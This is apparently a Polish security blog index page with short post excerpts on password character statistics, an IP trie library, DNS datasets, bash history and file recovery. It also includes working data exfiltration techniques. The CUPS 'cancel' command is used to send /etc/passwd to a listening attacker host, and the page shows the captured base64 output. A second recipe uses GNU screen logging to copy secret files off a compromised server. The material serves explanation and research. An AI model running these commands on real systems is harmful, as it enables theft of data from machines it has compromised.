O

prócz analizy najczęściej używanych haseł z publikacji danych logowania – możemy sprawdzić jakie najczęściej znaki pojawiają się w hasłach. Nawet jeśli użytkownicy umieszczają w swoich hasłach do serwisów mieszankę liter, cyfr i symboli to nadal mogą paść ofiarą często używanych kombinacji. Poniższe wyciągi pokazują popularność poszczególnych znaków, aby zidentyfikować znaki na klawiaturze, po które ludzie sięgają najczęściej podczas tworzenia swoich haseł. Liczby takie jak 0, 1 i 2, a także symbole takie jak kropka, podkreślenie i znak “małpy” (“@”) są nadal powszechne i można je łatwo odgadnąć.
[ czytaj całość… ]

Na przejętej maszynie, z której chcemy wyprowadzić jakieś dane (tutaj: /etc/passwd), a posiada ona pakiet cups-client lub lprng zapewniający programy klienckie wydruku w stylu System V – możemy wykonać polecenie:

cancel -u "$(cat /etc/passwd | base64)" -h 10.0.0.1:31337

Na zdalnej maszynie (o adresie IP: 10.0.0.1), na której prowadzimy odbiór danych powinniśmy zobaczyć:

root@darkstar:~# nc -nlvp 31337
Listening on 0.0.0.0 31337
Connection received on 10.0.0.2 45280
POST /admin/ HTTP/1.1
Content-Length: 2650
Content-Type: application/ipp
Date: Sun, 19 Feb 2023 21:40:29 GMT
Host: 10.0.0.1:31337
User-Agent: CUPS/2.4.1 (Linux 5.15.0-58-generic; x86_64) IPP/2.0
Expect: 100-continue

9Gattributes-charsetutf-8Httributes-natural-languageen-usE
printer-uriipp://localhost/printers/Brequesting-user-name     
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv
c2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9n
aW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5
bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmlu
L25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4K
bHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODpt
YWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9v
bC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVj
cDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25v
bG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dp
bgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxp
c3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9n
aW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0
MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91
c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6
L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jp
bi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFn
ZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4
OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9n
aW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpz
eXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCws
Oi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9j
YWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vz
ci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9u
b2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3Bk
dW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDox
MTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2Fw
ZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6
eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9n
aW4KYWdyZXNvcjp4OjEwMDA6MTAwMDphZ3Jlc29yOi9ob21lL2FncmVzb3I6L2Jpbi9iYXNoCmx4
ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJl
ZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9z
YmluL25vbG9naW4K"my-jobs"

Więcej informacji: Alh4zr3d on Twitter, File upload (GTFOBins), cancel(1)

S

ystemy wieloużytkownikowe zaprojektowane są na udostępnianie dużej liczby informacji użytkownikom. Wiele z tych informacji jest “publiczna” i może być współdzielona pomiędzy różnymi użytkownikami. Nigdy nie można lekceważyć wpływu takich informacji na bezpieczeństwo. Poniżej znajduje się prosty skrypt, który umożliwia złośliwemu użytkownikowi podsłuchiwanie naciśnięć klawiszy innych użytkowników przy użyciu takich informacji. Atak wykorzystuje zwykłe nieuprzywilejowane konto i informacje o procesie ujawnione przez wirtualny system plików procfs (ang. process file system) obsługiwany przez m.in. system Linux. Zawiera on hierarchię plików wirtualnych, które opisują aktualny stan jądra, w tym dane statystyczne o pamięci procesów i niektórych ich wartościach rejestrów. Są one używane przez takie programy jak ps i top, aby zbierać i prezentować informacje o systemie oraz pomagać w debugowaniu oprogramowania. Domyślnie wiele z tych plików jest czytelnych dla wszystkich użytkowników systemu, co w naturalny sposób rodzi obawy, czy ich zawartość nie może ujawnić wrażliwych informacji innego użytkownika.
[ czytaj całość… ]

python3 -m pip install cidr-trie

>>> from cidr_trie import PatriciaTrie

>>> ip_owner = PatriciaTrie()
>>> ip_owner.insert("10.0.0.0/8", "LAN-A")
>>> ip_owner.insert("172.16.0.0/12", "LAN-B")
>>> ip_owner.insert("192.168.0.0/16", "LAN-C")
>>> ip_owner.insert("192.168.1.0/24", "LAN-C-Office-Toronto")
>>> ip_owner.insert("104.16.0.0/12", "Internet-Cloudflare")
>>> ip_owner.insert("31.171.152.0/22", "Internet-HostileVPN")

>>> ip_owner.find_all("31.171.152.25")
[('31.171.152.0/22', 'Hostile VPN')]
>>> ip_owner.find_all("192.168.1.13")
[('192.168.0.0/16', 'LAN-C'), ('192.168.1.0/24', 'LAN-C-Office-Toronto')]
>>> ', '.join((v[1] for v in ip_owner.find_all("192.168.1.13")))
'LAN C, LAN-C-Office-Toronto'

Więcej informacji: Skompresowane drzewo trie, Store CIDR IP addresses (both v4 and v6) in a trie for easy lookup

D

ane z serwerów możemy wyprowadzać za pomocą różnego rodzaju tuneli ukrytych w protokołach. Możemy też wykorzystać do tego celu menedżer okien terminala – screen, który będzie tylko i wyłącznie zainstalowany na naszym lokalnym komputerze. Dla przykładu prześlemy plik o wielkości 1092 KB z zdalnego serwera na nasz lokalny komputer:

• Uruchamiamy polecenie screen na lokalnym komputerze i łączymy się z zdalnym serwerem, do którego uzyskaliśmy dostęp,
• Naciskamy sekwencję klawiszy: Ctrl+a : – po pojawieniu się znaku zachęty : w lewym, dolnym rogu wpisujemy: logfile dataout.txt i naciskamy Enter,
• Kolejną sekwencją definiującą początek zapisu strumienia danych do pliku dataout.txt jest: Ctrl+a H,
• Dane prześlemy zakodowane base64 wydając polecenie: openssl base64 < tajne_dane.txt,
• Kończymy strumień danych i wyzwalamy zapis pliku tą samą sekwencją, co rozpoczęcie: Ctrl+a H.

W drugiej konsoli teraz już na lokalnym komputerze możemy oczyścić plik wycinając pierwszą (polecenie) i ostatnią (znak zachęty powłoki) linię przy okazji dekodując plik:

cat dataout.txt | tail -n +2 | head -n -1 | openssl base64 -d

[ czytaj całość… ]

Zestaw danych projektu Sonar Rapid7 to niesamowite zasoby wiedzy. Są w nich zawarte wyniki skanowania internetu w skompresowanej i łatwej do pobrania formie. W tym wpisie skupimy się na dwóch rodzajach danych: Reverse DNS (RDNS) (czyli rekordy PTR) oraz Forward DNS (FDNS) (czyli rekordy: ANY, A, AAAA, TXT, MX oraz CNAME). Niestety praca z surowymi zestawami danych może być nieco wolniejsza, ponieważ pakiety rekordów RDNS oraz FDNS zawierają kilkanaście GB skompresowanego tekstu. Przeszukiwanie takich dużych plików może zajmować kilkanaście lub więcej minut dla pojedynczych kwerend. Możemy przyśpieszyć taką operację poprzez wykorzystanie wyszukiwania binarnego na odpowiednio posortowanych danych – lub wykorzystać do tego rodzaju operacji systemy wręcz stworzone do przechowywania i przeszukiwania tego rodzaju rekordów.
[ czytaj całość… ]

W

nawiązaniu do wpisu “Ograniczenia z poziomu powłoki” – powłoka bash posiada wbudowaną możliwość oznaczania historii wydawanych poleceń datą z dokładnością do sekund, w których zostały wydane. Standardowo możliwość ta jest wyłączona – w celu jej aktywacji wystarczy dodać do pliku /etc/profile wpis:
[ czytaj całość… ]

W

spominając o programie TestDisk nie można pominąć drugiego działa tego samego autora, czyli programu PhotoRec. Jest to program, który został zaprojektowany w celu odzyskiwania zagubionych plików włączając w to pliki wideo, dokumenty i archiwa z dysków twardych i nośników CD-ROM oraz usuniętych zdjęć z pamięci aparatów cyfrowych (stąd też jego nazwa). Aplikacja ignoruje system plików i przeszukuje przestrzeń dyskową, co pozwala na odzyskiwanie danych nawet jeśli system plików został poważnie uszkodzony lub dysk został zformatowany.
[ czytaj całość… ]

U

trata danych wiąże się często z dużymi stratami, nierzadko także finansowymi. Nie ma tu większego znaczenia, czy będzie to przemyślany atak hackera, działanie wirusa lub trojana, przypadkowe skasowanie przez użytkownika czy awaria systemu operacyjnego.
[ czytaj całość… ]